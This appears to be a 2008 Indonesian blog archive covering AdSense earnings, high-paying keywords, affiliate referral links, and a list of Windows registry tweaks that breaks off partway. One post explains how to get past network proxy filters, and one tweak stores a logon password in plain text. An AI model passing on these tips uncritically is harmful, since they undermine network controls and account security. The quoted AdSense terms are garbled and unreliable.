Menghasilkan uang dari blog, hmm.. bukan hal yang baru. Sebagian besar blogger menginginkannya, siapa yang tidak ingin menambah income, terutama passive income. Ingat artikel sebelumnya yaitu Bekerja atau Berbisnis ?, dimana kita membahas betapa tidak enaknya menggantungkan penghasilan melalui gaji. Kenapa blog disebut passive income ? karena blog akan tersedia selama 24 jam. Berarti uang bisa mengalir ke kantong melalui blog kapanpun, sedang apapun, dan dimanapun kita berada.

Jadi kita tidak perlu nongkrongin blog terus menerus, kita cuma perlu bekerja beberapa jam sehari untuk melakukan hal-hal yang diperlukan, dan selanjutnya kita bisa mengerjakan hal lainnya. Uang akan mengalir selama 24 jam, benar-benar sebuah ide yang cemerlang untuk menghasilkan uang. Tidak mengherankan jika sekarang ini semua orang berlomba-lomba untuk mempelajari bagaiman cara menghasilkan uang dari internet, jadi sangat rugi jika kita tidak ikut-ikutan mencari uang melalui internet.

Banyak cara dan pilihan untuk mencari uang di internet, salah program yang sangat populer saat ini adalah Google Adsense. Tapi bukankah banyak cara lain untuk mencari uang melalui internet, mengapa adsense ? bukankah ada program-program lain yang bisa kita ikuti untuk mencari uang di internet ? seperti Program Affiliasi misalnya, atau membuat ebook, atau ikut join di program MLM, Pay Per Post, melakukan Investasi, ikut program Pay for Online, dan lain-lain.

Memang benar, semua program tadi bisa kita jadikan sarana untuk memberikan kita passive income. Dan setiap progam tadi mempunyai kelebihan dan kekurangan, kita akan membahasnya satu-persatu nanti. Lalu apa kelebihan dan kekurangan adsense ?, mengapa adsense begitu menarik perhatian ? mengapa adsense menjadi begitu populer dikalangan blogger dan netter yang mencari penghasilan dari internet ? ini juga yang membuat aku tertarik untuk mengetahui lebih jauh mengenai Google Adsense.

Kelebihan Adsense

AdSense relatif mudah untuk diikuti.
Adsense mudah ditempatkan, kita cukup dengan copy-paste kode yang diberikan oleh pihak adsense.
Gratis alias tidak perlu membayar biaya apapun.
Tidak perlu repot mencari-cari pihak yang berminat memasang iklan di blog atau website kita.
Kita cuma perlu membuat tulisan yang bagus, agar adsense bisa mencari iklan yang paling berhubungan dengan isi tulisan.
Tidak perlu repot untuk mencari iklan atau produk yang cocok untuk tiap halaman yang kita buat.
Tidak perlu dipusingkan dengan berbagai cara menempatkan kode dari berbagai program affiliasi yang kita ikuti (jika cuma mengikutii program adsense).
Kita jadi bisa memfokuskan diri bagaimana cara membuat content yang bagus, dan adsense yang akan mencarikan iklan yang paling cocok di antara lebih kurang 100.000 pemasang iklan melalui program Google Adword.
Bisa diikuti mulai dari pemula hingga yang veteran.
AdSense menyediakan statistik yang relatif sederhana dan mudah dimengerti.
Sekalipun kita mengikuti program affiliasi lain, Adsense tetap mengizinkan kita untuk menempatkan link dari program affiliasi tersebut, hanya saja kita perlu memperhatikan syarat-syarat yang diberikan oleh Adsense agar tidak melanggar TOS.
Kita juga bisa memfilter atau memblock lebih dari 200 URLs dari adsense, jika iklan yang akan ditampilkan dari adsense tersebut mempunyai produk yang sama dengan produk yang kita tawarkan melalui program affiliasi lain. Ini untuk memberikan kesempatan yang lebih besar bagi program affiliasi lain yang kita ikuti.
Google Adsense merupakan program periklanan yang kompetitif, hingga adsense banyak diminati oleh para advertiser untuk memasarkan dan memperkenalkan produk mereka.
Hanya dengan satu account, kita bisa menempatkan adsense pada beberapa blog sekaligus. Jadi tidak perlu membuat satu account untuk tiap blog yang dimiliki.
Banyak sumber-sumber yang bisa dijadikan bahan untuk mempelajarinya, sekalipun kita masih awam kita bisa belajar dari para veteran yang sudah lebih dulu terjun dalam dunia adsense.

Kekurangan Adsense

Seperti juga berbagai program lainnya, adsense tentu mempunyai beberapa kelemahan dan kekurangan yang cukup mengganggu. Beberapa kekurangan ini antara lain:

Statistik income yang diberikan oleh Adsense memang cukup simple dan mudah dipahami, akan tetapi adsense tidak menampilkan iklan mana yang sering diklik dan keyword apa yang berhubungan dengan iklan tersebut. Hal ini cukup membuat frustasi, karena informasi tersebut sangat penting.
Masih berhubungan dengan point diatas, khan jika kita tahu iklan dan keyword apa yang sering diklik, kita bisa membuang keyword yang tidak banyak menghasilkan duit.
Adsense sering menampilkan PSA (Public Service Ads) atau iklan layanan masyarakat, dan jika ini diklik, kita dapet apa coba.
Minimum payout is $100, berat juga tuh, terutama bagi blog yang tidak banyak mendapat traffic. Bisa butuh waktu lama tuh untuk mencairkannya.
Sebelum blog atau website bisa disetujui untuk join adsense, blog tersebut harus di review atau di periksa dulu dulu. Dan yang melakukan pengecekkan adalah seorang manusia biasa, kalau manusianya kan cenderung ...???
Adsense melarang kita untuk berbagi atau memberi tahukan orang lain mengenai pendapatan kita melalui adsense, begini bunyi AdSense Terms dan Conditions: "Confidentiality. You agree not to disclose Google Confidential Infataumation without Google's priatau written consent. 'Google Confidential Infataumation' includes without limitation: ... (b) click-through rates atau other statistics relating to Site perfataumance in the Program provided to you by Google..." itukan agak aneh. Sebagai sesama blogger kita perlu informasi semacam ini untuk berbagi keberhasilan dan kegagalan yang pernah dialami.
Sebagai partner, adsense juga tidak memberi tahukan berapa persen yang kita dapatkan dari total penghasilan mereka. Kata Google sih gini: "How much will I earn through this program? The AdWatauds ads you are able to display on your content pages are cost-per-click (CPC) ads. This means that advertisers pay only when users click on ads. You'll receive a pataution of the amount paid fatau clicks on AdWatauds ads on your website. Although we don't disclose the exact revenue share, our goal is to enable publishers to make as much atau mataue than they could with other advertising netwatauks."
Adsense rawan klik fraud, ini bisa jadi resiko yang besar bagi kita. Terutama bila ada pihak-pihak lain yang merasa tidak senang melihat orang lain suksess, dan pihak tersebutlah yang melakukan klik fraud. Tapi pihak Google mungkin beranggapan bahwa kita berkerja sama dengan pihak yang melakukan klik fraud tersebut. Dan akhirnya account kita kena banned, ludes dah penghasilan. Apalagi jika penghasilan tersebut sudah lumayan buanyak, apes dah.
Adsense belum mendukung semua bahasa, terutama bahasa Indonesia. Jadi khan kacian bagi blogger yang belum fasih berbahasa Inggris. Mereka dengan amat sangat terpaksa harus belajar bahasa Inggris, itu jika mereka masih minat dengan adsense.

Menurutku itulah beberapa kelebihan dan kekurangan adsense, jika kamu mempunyai pendapat sendiri, sudilah untuk membaginya disini.

Berapa yang bisa di hasilkan

Dengan beberapa kekurangan dan kelebihan yang ada, adsense tetap menjadi primadona bagi kita untuk menghasilkan passive income. Sebenarnya berapa yang bisa kita dapatkan dari adsense ? itu tergantung dari barapa harga dibayarkan oleh pemasang iklan tersebut melalui program Google Adword. Ada yang cuma 5 cent perklik, tapi ada yang mencapai $10 hingga $12 perklik, dan kita mendapat beberapa persen dari harga tersebut.

Sebelum kita memutuskan dan berangan-angan, berapa banyak uang yang ingin kita hasilkan dari adsense, akan lebih baik jika kita tahu bagaimana cara melakukannya. Misalnya kita mempunyai target income $100.000 pertahun dari adsense, apakah itu memungkinkan ? coba kita hitung $100.000 dibagi 365 hari = $274 perhari. Itu berarti kita harus membuat 274 halaman, dan setiap halaman menghasilkan $1. Atau 548 halaman dan setiap halaman menghasilkan 5 cent. Atau 1096 halaman dan setiap halaman menghasilkan 25 cent.

Hipotesanya mungkin begini, untuk menghasilkan $1 perhalaman setiap harinya, berarti setiap halaman perlu:

400 pengunjung, 5% click-through rate (CTR) dan rata-rata 5 cent payout.
Atau 200 pengunjung, 10% CTR dan rata-rata 5 cent payout.
Atau 100 pengunjung, 10% CTR, dan rata-rata 10 cent payout.
Atau 100 pengunjung, 5% CTR, dan rata-rata 20 cent payout.
Atau 50 pengunjung, 10% CTR dan 20 cent payout rata-rata .
Atau 25 pengunjung, 20% CTR dan 20 cent payout rata-rata.
Atau 20 pengunjung, 10% CTR dan 50 cent payout rata-rata.
Atau 10 pengunjung, 20% CTR dan 50 cent payout rata-rata.
Atau 5 pengunjung, 20% CTR dan $1 payout rata-rata.

Mohon dikoreksi bila hitungannya salah. Coba kita ambil tengahnya saja, anggaplah kita menginginkan 50 pengunjung perhalaman. Kita punya 274 halaman, dan untuk setiap halaman kita ingin menghasilkan $1 perhari. Berarti yang kita butuhkan adalah 274 x 50 = 13.700 pageview perhari. Hm.. tampaknya terlalu berat ya. Berarti yang harus kita lakukan adalah mencari keyword yang bernilai tinggi, dan mencari cara untuk meningkatkan CTR.

Kita coba dengan skenario yang berbeda, anggaplah kita menemukan keyword yang bisa menghasilkan $1 perhari dari setiap 10 pengunjung. Itu berarti: dengan 274 halaman X 10 pengunjung = 2740 pageview perhari. Jika dari 10 pengunjung membaca rata-rata 3 halaman, berarti yang kita butuhkan adalah 913 unique pengunjung perhari. Ini juga tampaknya masih cukup berat, maka yang mungkin bisa kita lakukan adalah membaginya menjadi 2 atau 3, 4, dan seterusnya. Caranya ? dengan membuat blog-blog lain sebanyak angka pembagi yang kita inginkan.

Ternyata tidak semudah yang kita impikan untuk mencari uang melalui adsense, tapi adakah cara yang mudah ? tidak ada. Semua cara membutuhkan kerja keras dan perjuangan yang tak kenal lelah. Karena itu kita perlu belajar sungguh-sungguh dan lebih dalam lagi jika ingin meningkatkan pendapatan melalui adsense, kita akan membahasnya pada artikel-artikel mendatang. Jika kamu punya informasi yang berharga, sudilah kiranya membaginya dengan teman-teman lain melalui blog ini atau blog mu sendiri.

Tingkatkan Dollar Adsense Anda dengan High Paying Keywords

2008-05-14T19:12:00.001-07:00

Bagi anda para pemula di adsense, jika telah mengikuti langkah-langkah yang disebutkan dalam tiga artikel saya sebelumnya (adsense, niche, dan adwords), berarti sekarang anda sudah punya sebuah web atau blog yang sudah ditempelin iklan adsense. Ibarat jualan toko sudah jadi, sekarang tinggal mencari pembeli, atau traffic situs anda. Ada banyak cara untuk meningkatkan traffic, seperti dari search engine, forum, komunitas, mailing list, ezine publishing, pay per click advertising dan lain-lain. Namun sebelum mempromosikan situs anda, ada baiknya dilihat lagi tema atau niche situs anda, apakah kata kunci di situs termasuk kata kunci yang dibayar tinggi atau high paying keywords (HPK) atau tidak, agar aktivitas promosi anda tidak sia-sia dan bisa menghasilkan income yang berarti.

Catatan : Tulisan ini dalam konteks jika tipe situs anda adalah tipe marketer yang menyediakan informasi yang dibutuhkan sesuai dengan tuntutan market, bukan berdasarkan pada hobi atau keahlian anda.

High Paying Keywords (HPK) adalah kata-kata kunci yang mempunyai nilai pay per click (PPC) yang tinggi, tentu setiap adsenser ingin iklan yang muncul di situsnya mempunyai nilai PPC yang tinggi, bagaimana cara agar iklan HPK ini muncul, ya tentu saja dengan membuat situs dengan tema / niche High Paying Keyword. Berapa sih nilai keyword yang bisa disebut HPK? Itu sih relative, tapi menurut saya keyword dengan nilai PPC lebih besar dari 10 dolar per klik sudah termasuk HPK.

Untuk ilustrasi lebih jauh, contohnya sebagai berikut : Misalkan anda mempunyai dua buah situs, misalkan situs pertama dengan topic A yang mempunyai nilai PPC rata-rata 1 dolar per klik, sedangkan situs kedua dengan topic B mempunyai nilai PPC yang termasuk HPK dengan nilai 12 dolar per klik. Untuk mempromosikan situs , usaha yang anda keluarkan sama (kalaupun beda pasti tidak terlalu jauh), dan diakhir bulan hasil klik yang anda dapatkan kutang lebih sama, misalkan 100 klik untuk kedua situs. Berapa pendapatan masing-masing situs ? situs pertama dengan topic A dapat 1 dolar dikali 100, sama dengan 100 dolar, situs kedua dengan topic B yang bernilai HPK dapat 12 dolar kali 100, sama dengan 1200 dolar, jauh sekali kan bedanya?. Bisa diibaratkan seperti manajer di Indonesia dan Amerika yang bekerja di sebuah perusahaan sama, mempunyai posisi dan pekerjaan yang sama, kemampuan sama, tapi gajinya beda, karena yang di Amerika mempunyai nilai High Paying Keywords J….

Pertanyaan selanjutnya, bagaimana menemukan high paying keywords? Ini memang susah-susah gampang, untuk mengetahuinya anda perlu melakukan trial di Google Adwords ( lihat artikel adwords sebelumnya untuk mengetahui cara membuat account), masukkan satu keyword dan cek berapa PPC-nya., dari pengalaman, kata-kata yang termasuk HPK adalah keyword di bidang keuangan seperti insurance, loan dan frasa-frasanya ( auto insurance, home loan, etc, silahkan dikembangkan lagi dengan tools di adwords), atau yang berhubungan dengan internet sendiri, seperti domain name, server hosting, pay per click, search engine marketing dan sejenisnya.

OK, sekarang jika anda sudah menemukan keyword yang bernilai HPK, sebelum mengimplementasikannya, ada satu test atau pengecekan lagi yang perlu dilakukan, yaitu apakah iklan yang ditampilkan relevan dengan HPK yang anda bidik?. Ini sanagt perlu, karena meskipun situs anda mempunyatema yang sesuai dengan HPK, tetapi iklan yang kelaur tidak relevan dengan HPK, ya sama saja sia-sia. Sebagai contoh coba bandingkan dua website berikut http://ppcsem.blogspot.com/ dan http://insurance-guide.blogspot.com/ . Kedua situs tersebut mempunyai High Paying Keywords, yang pertama situs dengan topic pay per click dan search engine marketing, yang kedua tentang insurance. Coba perhatikan iklan yang keluar dari situs diatas. Yang pertama , iklan Ads by Google yang ditampilkan sejalan atau relevan dengan isi website , artinya isi situs berhasil mencapai target, sedangkan yang kedua kurang sejalan atau ada yang tidak relevan, , padahal umur situs http://ppcsem.blogspot.com/ lebih pendek dari http://insurance-guide.blogspot.com/ ,dan artikelnya lebih sedikit, kenapa situs yang kedua tidak menghasilkan iklan yang relevan? Karena keywords insurance meskipun termasuk HPK, dia tidak bernilai global, maksudnya para pengiklan insurance hanya mau iklannya muncul di Negara tertentu saja, misalkan amerika atau eropa, tidak di seluruh dunia, karena kebutuhan untuk produk insurance belum merata secara global. Sedangkan untuk keyword pay per click, merupakan HPK yang bernilai global, dan targetnya bisa berlaku di seluruh dunia.

Jadi, kesimpulannya, jika situs anda bertipe marketer penyedia informasi, pilihlah topic yang mempunyai High Paying Keyword, setelah mendapatkan HPK, lakukan tes dan seleksi, pilih HPK yang bernilai global, sehingga iklan yang keluar di situs anda juga bernilai tinggi.

Daftar Gratis Langsung Dapet $6, Kamu Mau...?

2008-05-14T10:10:00.000-07:00

Program bisnis di internet memang banyak macamnya sekarang ini, dan yang paling banyak saat ini diminati oleh para pebisnis internet adalah program google adsense, adbrite , text-Link-Ads, Chitika, Blogads, AuctionAds. Selain itu juga ada program program affiliasi ( menjualkan produk orang lain yang biasanya diberikan link referal ), misalnya saja yang paling terkenal adalah amazon, paydotcom, clickbank. Yang kesemuanya itu berbeda dari yang satu dengan yang lainnya, entah dari segi komisi, persyaratan untuk daftar dan juga aturan mereka. Dan rata rata untuk daftar ke program program tersebut memang gratis, tapi tidak setiap program tersebut dapat kita ikuti ( tidak semuanya ) karena berkaitan dengan syarat syarat yang mungkin harus kita penuhi terlebih dulu, seperti misalnya minimal page rank web kita harus ... ( biasanya harus sudah diatas 3 ), lokasi tempat kita berada. Dan untuk mendapatkan uang dari mereka juga tidak terlalu mudah, perlu perjuangan dan kerja keras serta konsisten.

http://www.awsurveys.com/HomeMain.cfm?RefID=tadzha

SMS GRATIS DENGAN PC ANDA

2008-05-14T09:19:00.000-07:00

Mungkin selama ini anda banyak menemukan website yang menawarkan sms gratis via PC.
tapi setelah anda mencoba tidak ada hasil apa-apa.. kalau itu masalah nya coba dech kunjungin website www.talksms.com. setelah anda register.. anda bisa sms kemana saja..
good luck

Affiliance

2008-05-10T00:33:00.000-07:00

http://cbclickbank.com/affiliate/?r=tadzha
http://www.clixsense.com/?2404946
http://www.no-minimum.com/pages/index.php?refid=tadzha

Learning Google Adsense

2008-05-07T23:36:00.001-07:00

TIDAK HARUS IDE YANG TERAMAT BAGUS UNTUK BERHASIL

Thomas Alfa Edison berkata JENIUS ADALAH 1% INSPIRASI DAN 99% KERINGAT. TIDAK ADA YANG MENGGANTIKAN KERJA KERAS. KEMUJURAN ADALAH KONDISI SAAT KESEMPATAN BERTEMU DENGAN KESIAPAN.

Saya secara pribadi pernah mengalami hal ini. Ceritanya begini:
Sekitar tahun 2005 ceritanya booming berita pemakaian formalin (padahal sebenarnya dari tahun 90-an saja sebenarnya informasi pemakaian zat ini sudah dipulikasikan oleh beberapa lembaga riset). Sebagai salah satu lembaga riset, kantor mencoba menawarkan suatu desain alat pendeteksi zat ini yang sederhana dan termasuk murah.
Ceritanya... para peneliti senior pun mencoba melakukan beberpa penelitian (tentunnya dengan pencarian informasi terlebih dahulu tentang hal tersebut). Sebelum saya terlibat, saya melihat ide ini LUAR BIASA, sebagai orang baru saya berfikir 'orang-orang ini hebat-hebat'. Pada kenyataanya, sampai November 2005 (dimana Desember 2005 semua laporan penelitian harus selesai), penelitian belum kelar atau jadi, testkit yang dijanjikan belum juga dpat dipastikan.
November pun saya dipanggil IBU, diminta secara pribadi untuk merampungkan penelitian itu, kalau bisa Desember selesai (saya pikir, GILA... sekali dikasih tanggung jawab langsung harus cepat).
Karena tanggung jawab ini, saya coba untuk searching informasi (sampai ke laporan-laporan paten segala). Saya jadi kaget, IDE TEST KIT ITU TERNYATA MERUPAKAN LAPORAN PENELITIAN YANG ADA DI TAHUN 1960-AN. sEbenarnya juga sederhan dan mudah dibuat, ASAL BEBERAPA KARAKTER BAHAN DIKETAHUI. Akhirnya desember sebenarnya riset tersebut dapat kelar (KARENA SEBENARNYA MUDAH), tapi IBU minta uji kestabilannya sebelum produk dilempar ke pasar.
AKHIRNYA DARI IDE TAHUN 60-AN, TOH TEST KIT ITU SEKARANG DIJUAL KE BANYAK ORANG dan MENDAPAT BANYAK PUJIAN DARI ORANG. Saya sendiri heran, kalau saja mereka tahu yang sebenarnya ITU CUMA SEKEDAR IDE KECIL (1% INSPIRASI) DAN SISANYA TINGGAL KREATIFITAS DAN KERJA KERAS (99%) YANG AKAN MENENTUKAN.

BELAJAR BANYAK DI LINK-LINK BERIKUT…

RIRI N’ RERE, Get many topics about Google Adsense, Affiliate Business and Business Tips and Secrets here…

Google Adsense Master, A complete guidance to success in Google Adsense Business is here. Find out the great strategy to be success in Google Adsense Business…

Google Adsense (Introduction), The link special only for anyone who want to know Google Adsense for the fist time. All content that will you see only an introduction about Google Adsense Business Opportunity…

Internet Business Opportunity, All topics will discuss about all opportunity that Internet serve for us. You will see many topics that will make you understand the opportunity at our online world here…

Creating From Nothing, All topics will discuss about business, business opportunity and business guide in English language. Learn more about business (include how to creating a business) here…

MILYUNER KENTIR, SEMUA HAL TENTANG RAHASIA SUKSES BISNIS DI Online Business, Google Adsense DAN Affiliate Business ADA DI SINI…

Tips for success, All business secrets and tips can you find to make sure that you are ready to reach success. Click this link http://maztips.blogspot.com/

RAHASIA SUKSES, All success tips you can find also in here. Just read and learn more to prepare your self to success, click http://4success2u.blogspot.com/

Online business secrete, Find many secrets about online business here. Don let forget to come here and learn more about the steps to success in Online Business. Just click this link http://obs76.blogspot.com/

Affiliate Business Guidance, Get many topics about the secrets to be successfully in Affiliate Business Program here, click http://indoabg.blogspot.com/

Menembus Filter Proxy

2008-04-30T14:50:00.001-07:00

Saat anda browsing kadang-kadang ada situs-situs tertentu yang tidak bisa anda kunjungi,youtube misalnya, mungkin karena proxy denied atau sebagai nya.. kini anda tidak terhalang lagi. langsung saja kunjungi..
http://hidemyass.com
ketik wetsite yang di proxi "www.youtube.com"
copy link anda ke "http://keepvid.com/"
download dengan downloader anda..
sekarang anda bisa download sepuasnya tanpa batas..

Tips dan Trik Registry

2008-04-30T01:53:00.000-07:00

Tips dan Trik Registry

Ah, mungkin terkesan agak basi kali yach. Tapi saya lihat-lihat di site ini kok tutorial REGISTRY nya masih sedikit, jadi yaah.. ini cuma sebagai pelengkap dari saya. Oce, met menikmati dan ber-REGISTRY ria... ;)

(1).Mengganti Nama Recycle Bin
------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama baru sesuai yang diinginkan pada Value Data.

(2).Memunculkan Rename Pada Recycle Bin
---------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.

(3).Menambah Isi Shortcut Menu Pada Recycle Bin
-----------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda Attributes dan ganti angka di Value Data dengan angka berikut ini:
0000 50 01 00 20 > Rename
0000 60 01 00 20 > Delete
0000 70 01 00 20 > Rename & Delete
0000 41 01 00 20 > Copy
0000 42 01 00 20 > Cut
0000 43 01 00 20 > Copy & Cut
0000 44 01 00 20 > Paste
0000 45 01 00 20 > Copy & Paste
0000 46 01 00 20 > Cut & Paste
0000 47 01 00 20 > Cut, Copy & Paste

(4).Menambah Isi Shortcut Menu Pada Recycle Bin Dengan Menu Pilihan
-------------------------------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell
Klik menu Edit > New > Key dan beri nama yang diinginkan (Misalnya: Go To Windows Explorer). Dibawah key yang baru tersebut, tekan lagi menu Edit > New > Key dan buat sebuah key baru bernama Command. Klik ganda option (Default), dan pada bagian Value Data, isi dengan path Windows Explorer (C:\WINDOWS\Explorer.exe).

(5).Mengembalikan Folder Documents Yang Hilang Di My Computer
-------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths
Pilih menu Edit > New > String Value dan beri nama sesuai dengan username yang digunakan di Windows (misal: y3ppy) Klik ganda pada value tersebut dan masukkan path tempat dimana Documents anda berada (misal D:\Documents)

(6).Menyingkirkan File Stored Dari My Computer
----------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\MyComputer\NameSpace\DelegateFolders
Hapus subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee}

(7).Menyembunyikan My Recent Documents
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoRecentDocsMenu. Kemudian klik ganda pada DWORD Value tersebut, dan berikan angka 1 untuk mengaktifkannya.

(8).Mengembalikan Fungsi Search Kedalam Tampilan Lama
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Pilih menu Edit > New > String Value dan beri nama UseSearchAsst. Klik ganda UseSearchAsst dan masukkan angka 1 pada Value Data.

(9).Menyembunyikan Menu Find
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoFind. Kemudian klik ganda pada DWORD Value tersebut dan berikan angka 1 untuk mengaktifkannya. Restart komputer.

(10).Menyembunyikan Menu Run (1)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRun. Klik ganda dan masukkan angka 1 sebagai Value Data.

(11).Menyembunyikan Menu Run (2)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowRun, klik ganda dan masukkan angka 0 pada bagian Value Data.

(12).Menyembunyikan Log Off
---------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > Binary Value dan beri nama NoLogOff.

Klik ganda pada NoLogOff dan masukkan angka 01 00 00 00 pada bagian Value Data.

(13).Menyembunyikan Menu Turn Off Computer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoClose. Klik ganda NoClose dan beri angka 1 pada Value Data.

(14).Cleartype Pada Logon Screen
--------------------------------
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda FontSmoothingType dan masukkan angka 2 pada Value Data.

(15).Membuat Tampilan Berbeda Pada Jendela Logon
------------------------------------------------
HKEY_USERS\. DEFAULT\Software \Microsoft\Windows\CurrentVersion\ThemeManager
Klik ganda ColorName dan masukkan teks Metallic pada Value Data.

(16).Menampilkan Administrator Di Welcome Screen
------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Buat sebuah DWORD Value baru dan beri nama Administrator.
Klik ganda Administrator dan masukkan angka 1 pada Value Data

(17).Login Otomatis
-------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Klik ganda AltDefaultUserName dan masukkan username account yang dipilih. Klik ganda AutoAdminLogon dan masukkan angka 1 pada Value Data. Buat sebuah DWORD Value baru dan beri nama DefaultPassword. Klik ganda DefaultPassword dan masukkan password account yang dipilih pada Value Data.

(18).Menyembunyikan Icon Printer & Faxes dari Start Menu
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowPrinters dan berikan angka 0 pada Value Data.

(19).Menyembunyikan Control Panel Dari Start Menu
-------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowControlPa nel dan klik ganda pada bagian tersebut. Masukkan angka 0 pada Value Data.

(20).Menyembunyikan Menu My Pictures Dari Start Menu
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowMyPics dan masukkan angka 0 pada bagian Value Data.

(21).Memunculkan Menu Administrative Tools
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada StartMenuAdminTools dan berikan angka 1 pada Value Data.

(22).Memperkecil Icon Start Menu
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_LargeMFUIcons dan masukkan angka 1 pada Value Data.

(23).Menghilangkan Username Pada Start Menu
-------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoUserNameInStartMenu. Klik ganda NoUserNameInStartMenu dan masukkan angka 1 pada Value Data.

(24).Mencegah Perubahan Menu Start
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoChangeStartMenu. Klik ganda NoChangeStartMenu dan masukkan angka 1 pada Value Data.

(25).Menyembunyikan My Recent Documents
---------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada Start_ShowRecentDoc s dan masukkan angka 0 pada Value Data.

(26).Mengubah Nama Default Shortcut Penting Di Desktop
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID
Klik ganda pada default value pada masing-masing subkey dibawah ini:
My Network Places:
{208D2C60-3AEA-1069-A2D7-08002B30309D}
My Computer:
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
My Documents:
{450D8FBA-AD25-11D0-98A8-0800361B1103}
Recycle Bin:
{645FF040-5081-101B-9F08-00AA002F954E}
Default IE Icon:
{871C5380-42A0-1069-A2EA-08002B30309D}
Masukkan nama-nama unik sebagai pengganti nama defaultnya.

(27).Menyembunyikan Icon Di Desktop
------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada HideIcons dan masukkan angka 1 pada Value Data.

(28).Mengganti Wallpaper
-------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada wallpaper dan masukkan path gambar yang diinginkan pada Value Data.

(29).Membersihkan Semua Icon Pada Desktop
-----------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoDesktop. Klik ganda pada NoDesktop dan masukkan angka 1 pada Value Data.

(30).Membuat Desktop Lebih Stabil
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Buat sebuah DWORD Value baru dan beri nama DesktopProcess. Klik ganda DesktopProcess dan masukkan angka 1 pada Value Data.

(31).Menghapus Daftar Program Dalam Menu Run
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Di jendela sebelah kanan, akan terlihat deretan software-software (ditandai secara alphabet a, b, c, d, dan seterusnya). Untuk menghapusnya, cukup dengan memilih salah satu (atau semua) nama program yang ada dan tekan tombol [Del]. Jika muncul jendela konfirmasi untuk penghapusan data, tekan Yes.

(32).Membersihkan Recent Documents
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRecentDocsHistory. Klik ganda pada NoRecentDocsHistory dan masukkan angka 1 pada bagian Value Data.

(33).Menghilangkan Info Tip Pada Icon Folders Di Desktop
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada FolderContentsInfoT ip dengan angka 0.

(34).Mengunci Taskbar
---------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Klik ganda pada TaskBarSizeMove dan masukkan angka 0 pada Value Data.

(35).Menghapus Past Items Icons Pada Taskbar
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
Hapus IconStreams dan PastIconsStream, kemudian buka Task Manager, pada Tab Processes klik kanan pada explorer.exe dan pilih End Process. Klik menu File > New Task (Run) dan ketikan kembali explorer dan tekan OK.

(36).Menyembunyikan System Tray
---------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
